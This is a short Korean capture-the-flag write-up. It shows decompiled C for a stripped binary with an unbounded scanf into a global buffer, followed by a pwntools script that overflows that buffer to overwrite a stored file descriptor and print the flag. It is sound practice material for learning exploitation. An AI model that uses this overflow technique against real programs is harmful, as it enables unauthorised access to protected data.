int __cdecl main_(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
int v4; // edx
int v5; // ecx
int v6; // er8
int v7; // er9
int v9; // [rsp+Ch] [rbp-4h]
setvbuf(off_6CA748, 0LL, 2LL, 0LL);
setvbuf(off_6CA740, 0LL, 2LL, 0LL);
setvbuf(off_6CA738, 0LL, 2LL, 0LL);
top_secret = open("top_secret", 'r', v3);
printf("input name: ");
scanf("%s", &input, v4, v5, v6, v7);
v9 = read(top_secret, input_10, 0x12CuLL);
write(1LL, input_10, v9);
return 0;
}
strip
된 static-linked
바이너리 하나가 주어진다.
대충 함수내부에서 sys_open, sys_read
, va_start
이런걸 사용하는걸 보고 함수이름을 바꿔놨다.
printf
함수소스는 본 적이 있어서 확실하게 알 것 같았다.
top_secret
전역변수에 top_secret
파일의 fd
를 저장하고,
전역변수에 이름을 입력받고 ( overflow )
top_secret
fd 을 통해 파일 내용을 읽어와 출력해준다.
답이 없어보였지만, 아무것도 연게 없는데 top_secret
의 fd 가 4여서
init_proc
를 봤더니 flag
파일을 여는 것을 볼 수 있었다.
overflow
를 통해 top_secret
변수의 fd
를 3으로 덮으면 풀리는 간단한 문제였다.
from pwn import *
r=remote("ctf.j0n9hyun.xyz", 3031)
r.sendlineafter("input name:",b'x'*(0x6CCE98-0x6CCD60)+p64(3))
r.interactive()